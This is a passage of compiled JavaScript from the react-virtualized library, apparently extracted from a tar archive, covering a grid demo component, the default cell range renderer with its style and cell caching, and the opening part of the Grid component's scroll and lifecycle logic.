        className: classNames,
        key: key,
        style: style
      }, datum.name.charAt(0));
    }
  }, {
    key: "_updateUseDynamicRowHeights",
    value: function _updateUseDynamicRowHeights(value) {
      this.setState({
        useDynamicRowHeight: value
      });
    }
  }, {
    key: "_onColumnCountChange",
    value: function _onColumnCountChange(event) {
      var columnCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        columnCount: columnCount
      });
    }
  }, {
    key: "_onRowCountChange",
    value: function _onRowCountChange(event) {
      var rowCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        rowCount: rowCount
      });
    }
  }, {
    key: "_onScrollToColumnChange",
    value: function _onScrollToColumnChange(event) {
      var columnCount = this.state.columnCount;
      var scrollToColumn = Math.min(columnCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToColumn)) {
        scrollToColumn = undefined;
      }

      this.setState({
        scrollToColumn: scrollToColumn
      });
    }
  }, {
    key: "_onScrollToRowChange",
    value: function _onScrollToRowChange(event) {
      var rowCount = this.state.rowCount;
      var scrollToRow = Math.min(rowCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToRow)) {
        scrollToRow = undefined;
      }

      this.setState({
        scrollToRow: scrollToRow
      });
    }
  }]);
  return GridExample;
}(React.PureComponent);

exports["default"] = GridExample;
(0, _defineProperty2["default"])(GridExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});commonjs/Grid/defaultCellRangeRenderer.js000064400000013456151677406000014523 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultCellRangeRenderer;

var _types = require("./types");

/**
 * Default implementation of cellRangeRenderer used by Grid.
 * This renderer supports cell-caching while the user is scrolling.
 */
function defaultCellRangeRenderer(_ref) {
  var cellCache = _ref.cellCache,
      cellRenderer = _ref.cellRenderer,
      columnSizeAndPositionManager = _ref.columnSizeAndPositionManager,
      columnStartIndex = _ref.columnStartIndex,
      columnStopIndex = _ref.columnStopIndex,
      deferredMeasurementCache = _ref.deferredMeasurementCache,
      horizontalOffsetAdjustment = _ref.horizontalOffsetAdjustment,
      isScrolling = _ref.isScrolling,
      isScrollingOptOut = _ref.isScrollingOptOut,
      parent = _ref.parent,
      rowSizeAndPositionManager = _ref.rowSizeAndPositionManager,
      rowStartIndex = _ref.rowStartIndex,
      rowStopIndex = _ref.rowStopIndex,
      styleCache = _ref.styleCache,
      verticalOffsetAdjustment = _ref.verticalOffsetAdjustment,
      visibleColumnIndices = _ref.visibleColumnIndices,
      visibleRowIndices = _ref.visibleRowIndices;
  var renderedCells = []; // Browsers have native size limits for elements (eg Chrome 33M pixels, IE 1.5M pixes).
  // User cannot scroll beyond these size limitations.
  // In order to work around this, ScalingCellSizeAndPositionManager compresses offsets.
  // We should never cache styles for compressed offsets though as this can lead to bugs.
  // See issue #576 for more.

  var areOffsetsAdjusted = columnSizeAndPositionManager.areOffsetsAdjusted() || rowSizeAndPositionManager.areOffsetsAdjusted();
  var canCacheStyle = !isScrolling && !areOffsetsAdjusted;

  for (var rowIndex = rowStartIndex; rowIndex <= rowStopIndex; rowIndex++) {
    var rowDatum = rowSizeAndPositionManager.getSizeAndPositionOfCell(rowIndex);

    for (var columnIndex = columnStartIndex; columnIndex <= columnStopIndex; columnIndex++) {
      var columnDatum = columnSizeAndPositionManager.getSizeAndPositionOfCell(columnIndex);
      var isVisible = columnIndex >= visibleColumnIndices.start && columnIndex <= visibleColumnIndices.stop && rowIndex >= visibleRowIndices.start && rowIndex <= visibleRowIndices.stop;
      var key = "".concat(rowIndex, "-").concat(columnIndex);
      var style = void 0; // Cache style objects so shallow-compare doesn't re-render unnecessarily.

      if (canCacheStyle && styleCache[key]) {
        style = styleCache[key];
      } else {
        // In deferred mode, cells will be initially rendered before we know their size.
        // Don't interfere with CellMeasurer's measurements by setting an invalid size.
        if (deferredMeasurementCache && !deferredMeasurementCache.has(rowIndex, columnIndex)) {
          // Position not-yet-measured cells at top/left 0,0,
          // And give them width/height of 'auto' so they can grow larger than the parent Grid if necessary.
          // Positioning them further to the right/bottom influences their measured size.
          style = {
            height: 'auto',
            left: 0,
            position: 'absolute',
            top: 0,
            width: 'auto'
          };
        } else {
          style = {
            height: rowDatum.size,
            left: columnDatum.offset + horizontalOffsetAdjustment,
            position: 'absolute',
            top: rowDatum.offset + verticalOffsetAdjustment,
            width: columnDatum.size
          };
          styleCache[key] = style;
        }
      }

      var cellRendererParams = {
        columnIndex: columnIndex,
        isScrolling: isScrolling,
        isVisible: isVisible,
        key: key,
        parent: parent,
        rowIndex: rowIndex,
        style: style
      };
      var renderedCell = void 0; // Avoid re-creating cells while scrolling.
      // This can lead to the same cell being created many times and can cause performance issues for "heavy" cells.
      // If a scroll is in progress- cache and reuse cells.
      // This cache will be thrown away once scrolling completes.
      // However if we are scaling scroll positions and sizes, we should also avoid caching.
      // This is because the offset changes slightly as scroll position changes and caching leads to stale values.
      // For more info refer to issue #395
      //
      // If isScrollingOptOut is specified, we always cache cells.
      // For more info refer to issue #1028

      if ((isScrollingOptOut || isScrolling) && !horizontalOffsetAdjustment && !verticalOffsetAdjustment) {
        if (!cellCache[key]) {
          cellCache[key] = cellRenderer(cellRendererParams);
        }

        renderedCell = cellCache[key]; // If the user is no longer scrolling, don't cache cells.
        // This makes dynamic cell content difficult for users and would also lead to a heavier memory footprint.
      } else {
        renderedCell = cellRenderer(cellRendererParams);
      }

      if (renderedCell == null || renderedCell === false) {
        continue;
      }

      if (process.env.NODE_ENV !== 'production') {
        warnAboutMissingStyle(parent, renderedCell);
      }

      renderedCells.push(renderedCell);
    }
  }

  return renderedCells;
}

function warnAboutMissingStyle(parent, renderedCell) {
  if (process.env.NODE_ENV !== 'production') {
    if (renderedCell) {
      // If the direct child is a CellMeasurer, then we should check its child
      // See issue #611
      if (renderedCell.type && renderedCell.type.__internalCellMeasurerFlag) {
        renderedCell = renderedCell.props.children;
      }

      if (renderedCell && renderedCell.props && renderedCell.props.style === undefined && parent.__warnedAboutMissingStyle !== true) {
        parent.__warnedAboutMissingStyle = true;
        console.warn('Rendered cell should include style property for positioning.');
      }
    }
  }
}commonjs/Grid/Grid.js000064400000205267151677406000010523 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = exports.DEFAULT_SCROLLING_RESET_TIME_INTERVAL = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _clsx = _interopRequireDefault(require("clsx"));

var _calculateSizeAndPositionDataAndUpdateScrollOffset = _interopRequireDefault(require("./utils/calculateSizeAndPositionDataAndUpdateScrollOffset"));

var _ScalingCellSizeAndPositionManager = _interopRequireDefault(require("./utils/ScalingCellSizeAndPositionManager"));

var _createCallbackMemoizer = _interopRequireDefault(require("../utils/createCallbackMemoizer"));

var _defaultOverscanIndicesGetter = _interopRequireWildcard(require("./defaultOverscanIndicesGetter"));

var _updateScrollIndexHelper = _interopRequireDefault(require("./utils/updateScrollIndexHelper"));

var _defaultCellRangeRenderer = _interopRequireDefault(require("./defaultCellRangeRenderer"));

var _scrollbarSize = _interopRequireDefault(require("dom-helpers/scrollbarSize"));

var _reactLifecyclesCompat = require("react-lifecycles-compat");

var _requestAnimationTimeout = require("../utils/requestAnimationTimeout");

var _types = require("./types");

var _propTypes = _interopRequireDefault(require("prop-types"));

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

/**
 * Specifies the number of milliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */
var DEFAULT_SCROLLING_RESET_TIME_INTERVAL = 150;
/**
 * Controls whether the Grid updates the DOM element's scrollLeft/scrollTop based on the current state or just observes it.
 * This prevents Grid from interrupting mouse-wheel animations (see issue #2).
 */

exports.DEFAULT_SCROLLING_RESET_TIME_INTERVAL = DEFAULT_SCROLLING_RESET_TIME_INTERVAL;
var SCROLL_POSITION_CHANGE_REASONS = {
  OBSERVED: 'observed',
  REQUESTED: 'requested'
};

var renderNull = function renderNull() {
  return null;
};

/**
 * Renders tabular data with virtualization along the vertical and horizontal axes.
 * Row heights and column widths must be known ahead of time and specified as properties.
 */
var Grid = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(Grid, _React$PureComponent);

  // Invokes onSectionRendered callback only when start/stop row or column indices change
  function Grid(props) {
    var _this;

    (0, _classCallCheck2["default"])(this, Grid);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(Grid).call(this, props));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onGridRenderedMemoizer", (0, _createCallbackMemoizer["default"])());
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScrollMemoizer", (0, _createCallbackMemoizer["default"])(false));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_deferredInvalidateColumnIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_deferredInvalidateRowIndex", null);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_recomputeScrollLeftFlag", false);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_recomputeScrollTopFlag", false);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_horizontalScrollBarSize", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_verticalScrollBarSize", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_scrollbarPresenceChanged", false);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_scrollingContainer", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_childrenToDisplay", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_columnStartIndex", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_columnStopIndex", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowStartIndex", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowStopIndex", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_renderedColumnStartIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_renderedColumnStopIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_renderedRowStartIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_renderedRowStopIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_initialScrollTop", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_initialScrollLeft", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_disablePointerEventsTimeoutId", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_styleCache", {});
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_cellCache", {});
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_debounceScrollEndedCallback", function () {
      _this._disablePointerEventsTimeoutId = null; // isScrolling is used to determine if we reset styleCache

      _this.setState({
        isScrolling: false,
        needToResetStyleCache: false
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_invokeOnGridRenderedHelper", function () {
      var onSectionRendered = _this.props.onSectionRendered;

      _this._onGridRenderedMemoizer({
        callback: onSectionRendered,
        indices: {
          columnOverscanStartIndex: _this._columnStartIndex,
          columnOverscanStopIndex: _this._columnStopIndex,
          columnStartIndex: _this._renderedColumnStartIndex,
          columnStopIndex: _this._renderedColumnStopIndex,
          rowOverscanStartIndex: _this._rowStartIndex,
          rowOverscanStopIndex: _this._rowStopIndex,
          rowStartIndex: _this._renderedRowStartIndex,
          rowStopIndex: _this._renderedRowStopIndex
        }
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_setScrollingContainerRef", function (ref) {
      _this._scrollingContainer = ref;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScroll", function (event) {
      // In certain edge-cases React dispatches an onScroll event with an invalid target.scrollLeft / target.scrollTop.
      // This invalid event can be detected by comparing event.target to this component's scrollable DOM element.
      // See issue #404 for more information.
      if (event.target === _this._scrollingContainer) {
        _this.handleScrollEvent(event.target);
      }
    });
    var columnSizeAndPositionManager = new _ScalingCellSizeAndPositionManager["default"]({
      cellCount: props.columnCount,
      cellSizeGetter: function cellSizeGetter(params) {
        return Grid._wrapSizeGetter(props.columnWidth)(params);
      },
      estimatedCellSize: Grid._getEstimatedColumnSize(props)
    });
    var rowSizeAndPositionManager = new _ScalingCellSizeAndPositionManager["default"]({
      cellCount: props.rowCount,
      cellSizeGetter: function cellSizeGetter(params) {
        return Grid._wrapSizeGetter(props.rowHeight)(params);
      },
      estimatedCellSize: Grid._getEstimatedRowSize(props)
    });
    _this.state = {
      instanceProps: {
        columnSizeAndPositionManager: columnSizeAndPositionManager,
        rowSizeAndPositionManager: rowSizeAndPositionManager,
        prevColumnWidth: props.columnWidth,
        prevRowHeight: props.rowHeight,
        prevColumnCount: props.columnCount,
        prevRowCount: props.rowCount,
        prevIsScrolling: props.isScrolling === true,
        prevScrollToColumn: props.scrollToColumn,
        prevScrollToRow: props.scrollToRow,
        scrollbarSize: 0,
        scrollbarSizeMeasured: false
      },
      isScrolling: false,
      scrollDirectionHorizontal: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD,
      scrollDirectionVertical: _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD,
      scrollLeft: 0,
      scrollTop: 0,
      scrollPositionChangeReason: null,
      needToResetStyleCache: false
    };

    if (props.scrollToRow > 0) {
      _this._initialScrollTop = _this._getCalculatedScrollTop(props, _this.state);
    }

    if (props.scrollToColumn > 0) {
      _this._initialScrollLeft = _this._getCalculatedScrollLeft(props, _this.state);
    }

    return _this;
  }
  /**
   * Gets offsets for a given cell and alignment.
   */


  (0, _createClass2["default"])(Grid, [{
    key: "getOffsetForCell",
    value: function getOffsetForCell() {
      var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref$alignment = _ref.alignment,
          alignment = _ref$alignment === void 0 ? this.props.scrollToAlignment : _ref$alignment,
          _ref$columnIndex = _ref.columnIndex,
          columnIndex = _ref$columnIndex === void 0 ? this.props.scrollToColumn : _ref$columnIndex,
          _ref$rowIndex = _ref.rowIndex,
          rowIndex = _ref$rowIndex === void 0 ? this.props.scrollToRow : _ref$rowIndex;

      var offsetProps = _objectSpread({}, this.props, {
        scrollToAlignment: alignment,
        scrollToColumn: columnIndex,
        scrollToRow: rowIndex
      });

      return {
        scrollLeft: this._getCalculatedScrollLeft(offsetProps),
        scrollTop: this._getCalculatedScrollTop(offsetProps)
      };
    }
    /**
     * Gets estimated total rows' height.
     */

  }, {
    key: "getTotalRowsHeight",
    value: function getTotalRowsHeight() {
      return this.state.instanceProps.rowSizeAndPositionManager.getTotalSize();
    }
    /**
     * Gets estimated total columns' width.
     */

  }, {
    key: "getTotalColumnsWidth",
    value: function getTotalColumnsWidth() {
      return this.state.instanceProps.columnSizeAndPositionManager.getTotalSize();
    }
    /**
     * This method handles a scroll event originating from an external scroll control.
     * It's an advanced method and should probably not be used unless you're implementing a custom scroll-bar solution.
     */

  }, {
    key: "handleScrollEvent",
    value: function handleScrollEvent(_ref2) {
      var _ref2$scrollLeft = _ref2.scrollLeft,
          scrollLeftParam = _ref2$scrollLeft === void 0 ? 0 : _ref2$scrollLeft,
          _ref2$scrollTop = _ref2.scrollTop,
          scrollTopParam = _ref2$scrollTop === void 0 ? 0 : _ref2$scrollTop;

      // On iOS, we can arrive at negative offsets by swiping past the start.
      // To prevent flicker here, we make playing in the negative offset zone cause nothing to happen.
      if (scrollTopParam < 0) {
        return;
      } // Prevent pointer events from interrupting a smooth scroll


      this._debounceScrollEnded();

      var _this$props = this.props,
          autoHeight = _this$props.autoHeight,
          autoWidth = _this$props.autoWidth,
          height = _this$props.height,
          width = _this$props.width;
      var instanceProps = this.state.instanceProps; // When this component is shrunk drastically, React dispatches a series of back-to-back scroll events,
      // Gradually converging on a scrollTop that is within the bounds of the new, smaller height.
      // This causes a series of rapid renders that is slow for long lists.
      // We can avoid that by doing some simple bounds checking to ensure that scroll offsets never exceed their bounds.

      var scrollbarSize = instanceProps.scrollbarSize;
      var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize();
      var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();
      var scrollLeft = Math.min(Math.max(0, totalColumnsWidth - width + scrollbarSize), scrollLeftParam);
      var scrollTop = Math.min(Math.max(0, totalRowsHeight - height + scrollbarSize), scrollTopParam); // Certain devices (like Apple touchpad) rapid-fire duplicate events.
      // Don't force a re-render if this is the case.
      // The mouse may move faster then the animation frame does.
      // Use requestAnimationFrame to avoid over-updating.

      if (this.state.scrollLeft !== scrollLeft || this.state.scrollTop !== scrollTop) {
        // Track scrolling direction so we can more efficiently overscan rows to reduce empty space around the edges while scrolling.
        // Don't change direction for an axis unless scroll offset has changed.
        var scrollDirectionHorizontal = scrollLeft !== this.state.scrollLeft ? scrollLeft > this.state.scrollLeft ? _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD : _defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD : this.state.scrollDirectionHorizontal;
        var scrollDirectionVertical = scrollTop !== this.state.scrollTop ? scrollTop > this.state.scrollTop ? _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD : _defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD : this.state.scrollDirectionVertical;
        var newState = {
          isScrolling: true,
          scrollDirectionHorizontal: scrollDirectionHorizontal,
          scrollDirectionVertical: scrollDirectionVertical,
          scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.OBSERVED
        };

        if (!autoHeight) {
          newState.scrollTop = scrollTop;
        }

        if (!autoWidth) {
          newState.scrollLeft = scrollLeft;
        }

        newState.needToResetStyleCache = false;
        this.setState(newState);
      }

      this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        totalColumnsWidth: totalColumnsWidth,
        totalRowsHeight: totalRowsHeight
      });
    }
    /**
     * Invalidate Grid size and recompute visible cells.
     * This is a deferred wrapper for recomputeGridSize().
     * It sets a flag to be evaluated on cDM/cDU to avoid unnecessary renders.
     * This method is intended for advanced use-cases like CellMeasurer.
     */
    // @TODO (bvaughn) Add automated test coverage for this.

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref3) {
      var columnIndex = _ref3.columnIndex,
          rowIndex = _ref3.rowIndex;
      this._deferredInvalidateColumnIndex = typeof this._deferredInvalidateColumnIndex === 'number' ? Math.min(this._deferredInvalidateColumnIndex, columnIndex) : columnIndex;
      this._deferredInvalidateRowIndex = typeof this._deferredInvalidateRowIndex === 'number' ? Math.min(this._deferredInvalidateRowIndex, rowIndex) : rowIndex;
    }
    /**
     * Pre-measure all columns and rows in a Grid.
     * Typically cells are only measured as needed and estimated sizes are used for cells that have not yet been measured.
     * This method ensures that the next call to getTotalSize() returns an exact size (as opposed to just an estimated one).
     */

  }, {
    key: "measureAllCells",
    value: function measureAllCells() {
      var _this$props2 = this.props,
          columnCount = _this$props2.columnCount,
          rowCount = _this$props2.rowCount;
      var instanceProps = this.state.instanceProps;
      instanceProps.columnSizeAndPositionManager.getSizeAndPositionOfCell(columnCount - 1);
      instanceProps.rowSizeAndPositionManager.getSizeAndPositionOfCell(rowCount - 1);
    }
    /**
     * Forced recompute of row heights and column widths.
     * This function should be called if dynamic column or row sizes have changed but nothing else has.
     * Since Grid only receives :columnCount and :rowCount it has no way of detecting when the underlying data changes.
     */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref4 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref4$columnIndex = _ref4.columnIndex,
          columnIndex = _ref4$columnIndex === void 0 ? 0 : _ref4$columnIndex,
          _ref4$rowIndex = _ref4.rowIndex,
          rowIndex = _ref4$rowIndex === void 0 ? 0 : _ref4$rowIndex;

      var _this$props3 = this.props,
          scrollToColumn = _this$props3.scrollToColumn,
          scrollToRow = _this$props3.scrollToRow;
      var instanceProps = this.state.instanceProps;
      instanceProps.columnSizeAndPositionManager.resetCell(columnIndex);
      instanceProps.rowSizeAndPositionManager.resetCell(rowIndex); // Cell sizes may be determined by a function property.
      // In this case the cDU handler can't know if they changed.
      // Store this flag to let the next cDU pass know it needs to recompute the scroll offset.

      this._recomputeScrollLeftFlag = scrollToColumn >= 0 && (this.state.scrollDirectionHorizontal === _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD ? columnIndex <= scrollToColumn : columnIndex >= scrollToColumn);
      this._recomputeScrollTopFlag = scrollToRow >= 0 && (this.state.scrollDirectionVertical === _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD ? rowIndex <= scrollToRow : rowIndex >= scrollToRow); // Clear cell cache in case we are scrolling;
      // Invalid row heights likely mean invalid cached content as well.

      this._styleCache = {};
      this._cellCache = {};
      this.forceUpdate();
    }
    /**
     * Ensure column and row are visible.
     */

  }, {
    key: "scrollToCell",
    value: function scrollToCell(_ref5) {
      var columnIndex = _ref5.columnIndex,
          rowIndex = _ref5.rowIndex;
      var columnCount = this.props.columnCount;
      var props = this.props; // Don't adjust scroll offset for single-column grids (eg List, Table).
      // This can cause a funky scroll offset because of the vertical scrollbar width.

      if (columnCount > 1 && columnIndex !== undefined) {
        this._updateScrollLeftForScrollToColumn(_objectSpread({}, props, {
          scrollToColumn: columnIndex
        }));
      }

      if (rowIndex !== undefined) {
        this._updateScrollTopForScrollToRow(_objectSpread({}, props, {
          scrollToRow: rowIndex
        }));
      }
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var _this$props4 = this.props,
          getScrollbarSize = _this$props4.getScrollbarSize,
          height = _this$props4.height,
          scrollLeft = _this$props4.scrollLeft,
          scrollToColumn = _this$props4.scrollToColumn,
          scrollTop = _this$props4.scrollTop,
          scrollToRow = _this$props4.scrollToRow,
          width = _this$props4.width;
      var instanceProps = this.state.instanceProps; // Reset initial offsets to be ignored in browser

      this._initialScrollTop = 0;
      this._initialScrollLeft = 0; // If cell sizes have been invalidated (eg we are using CellMeasurer) then reset cached positions.
      // We must do this at the start of the method as we may calculate and update scroll position below.

      this._handleInvalidatedGridSize(); // If this component was first rendered server-side, scrollbar size will be undefined.
      // In that event we need to remeasure.


      if (!instanceProps.scrollbarSizeMeasured) {
        this.setState(function (prevState) {
          var stateUpdate = _objectSpread({}, prevState, {
            needToResetStyleCache: false
          });

          stateUpdate.instanceProps.scrollbarSize = getScrollbarSize();
          stateUpdate.instanceProps.scrollbarSizeMeasured = true;
          return stateUpdate;
        });
      }

      if (typeof scrollLeft === 'number' && scrollLeft >= 0 || typeof scrollTop === 'number' && scrollTop >= 0) {
        var stateUpdate = Grid._getScrollToPositionStateUpdate({
          prevState: this.state,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });

        if (stateUpdate) {
          stateUpdate.needToResetStyleCache = false;
          this.setState(stateUpdate);
        }
      } // refs don't work in `react-test-renderer`


      if (this._scrollingContainer) {
        // setting the ref's scrollLeft and scrollTop.
        // Somehow in MultiGrid the main grid doesn't trigger a update on mount.
        if (this._scrollingContainer.scrollLeft !== this.state.scrollLeft) {
          this._scrollingContainer.scrollLeft = this.state.scrollLeft;
        }

        if (this._scrollingContainer.scrollTop !== this.state.scrollTop) {
          this._scrollingContainer.scrollTop = this.state.scrollTop;
        }
      } // Don't update scroll offset if the size is 0; we don't render any cells in this case.
      // Setting a state may cause us to later thing we've updated the offce when we haven't.


      var sizeIsBiggerThanZero = height > 0 && width > 0;

      if (scrollToColumn >= 0 && sizeIsBiggerThanZero) {
        this._updateScrollLeftForScrollToColumn();
      }

      if (scrollToRow >= 0 && sizeIsBiggerThanZero) {
        this._updateScrollTopForScrollToRow();
      } // Update onRowsRendered callback


      this._invokeOnGridRenderedHelper(); // Initialize onScroll callback


      this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft || 0,
        scrollTop: scrollTop || 0,
        totalColumnsWidth: instanceProps.columnSizeAndPositionManager.getTotalSize(),
        totalRowsHeight: instanceProps.rowSizeAndPositionManager.getTotalSize()
      });

      this._maybeCallOnScrollbarPresenceChange();
    }
    /**
     * @private
     * This method updates scrollLeft/scrollTop in state for the following conditions:
     * 1) New scroll-to-cell props have been set
     */

  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      var _this2 = this;

      var _this$props5 = this.props,
          autoHeight = _this$props5.autoHeight,
          autoWidth = _this$props5.autoWidth,
          columnCount = _this$props5.columnCount,
          height = _this$props5.height,
          rowCount = _this$props5.rowCount,
          scrollToAlignment = _this$props5.scrollToAlignment,
          scrollToColumn = _this$props5.scrollToColumn,
          scrollToRow = _this$props5.scrollToRow,
          width = _this$props5.width;
      var _this$state = this.state,
          scrollLeft = _this$state.scrollLeft,
          scrollPositionChangeReason = _this$state.scrollPositionChangeReason,
          scrollTop = _this$state.scrollTop,
          instanceProps = _this$state.instanceProps; // If cell sizes have been invalidated (eg we are using CellMeasurer) then reset cached positions.
      // We must do this at the start of the method as we may calculate and update scroll position below.

      this._handleInvalidatedGridSize(); // Handle edge case where column or row count has only just increased over 0.
      // In this case we may have to restore a previously-specified scroll offset.
      // For more info see bvaughn/react-virtualized/issues/218


      var columnOrRowCountJustIncreasedFromZero = columnCount > 0 && prevProps.columnCount === 0 || rowCount > 0 && prevProps.rowCount === 0; // Make sure requested changes to :scrollLeft or :scrollTop get applied.
      // Assigning to scrollLeft/scrollTop tells the browser to interrupt any running scroll animations,
      // And to discard any pending async changes to the scroll position that may have happened in the meantime (e.g. on a separate scrolling thread).
      // So we only set these when we require an adjustment of the scroll position.
      // See issue #2 for more information.

      if (scrollPositionChangeReason === SCROLL_POSITION_CHANGE_REASONS.REQUESTED) {
        // @TRICKY :autoHeight and :autoWidth properties instructs Grid to leave :scrollTop and :scrollLeft management to an external HOC (eg WindowScroller).
        // In this case we should avoid checking scrollingContainer.scrollTop and scrollingContainer.scrollLeft since it forces layout/flow.
        if (!autoWidth && scrollLeft >= 0 && (scrollLeft !== this._scrollingContainer.scrollLeft || columnOrRowCountJustIncreasedFromZero)) {
          this._scrollingContainer.scrollLeft = scrollLeft;
        }

        if (!autoHeight && scrollTop >= 0 && (scrollTop !== this._scrollingContainer.scrollTop || columnOrRowCountJustIncreasedFromZero)) {
          this._scrollingContainer.scrollTop = scrollTop;
        }
      } // Special case where the previous size was 0:
      // In this case we don't show any windowed cells at all.
      // So we should always recalculate offset afterwards.


      var sizeJustIncreasedFromZero = (prevProps.width === 0 || prevProps.height === 0) && height > 0 && width > 0; // Update scroll offsets if the current :scrollToColumn or :scrollToRow values requires it
      // @TODO Do we also need this check or can the one in componentWillUpdate() suffice?

      if (this._recomputeScrollLeftFlag) {
        this._recomputeScrollLeftFlag = false;

        this._updateScrollLeftForScrollToColumn(this.props);
      } else {
        (0, _updateScrollIndexHelper["default"])({
          cellSizeAndPositionManager: instanceProps.columnSizeAndPositionManager,
          previousCellsCount: prevProps.columnCount,
          previousCellSize: prevProps.columnWidth,
          previousScrollToAlignment: prevProps.scrollToAlignment,
          previousScrollToIndex: prevProps.scrollToColumn,
          previousSize: prevProps.width,
          scrollOffset: scrollLeft,
          scrollToAlignment: scrollToAlignment,
          scrollToIndex: scrollToColumn,
          size: width,
          sizeJustIncreasedFromZero: sizeJustIncreasedFromZero,
          updateScrollIndexCallback: function updateScrollIndexCallback() {
            return _this2._updateScrollLeftForScrollToColumn(_this2.props);
          }
        });
      }

      if (this._recomputeScrollTopFlag) {
        this._recomputeScrollTopFlag = false;

        this._updateScrollTopForScrollToRow(this.props);
      } else {
        (0, _updateScrollIndexHelper["default"])({
          cellSizeAndPositionManager: instanceProps.rowSizeAndPositionManager,
          previousCellsCount: prevProps.rowCount,
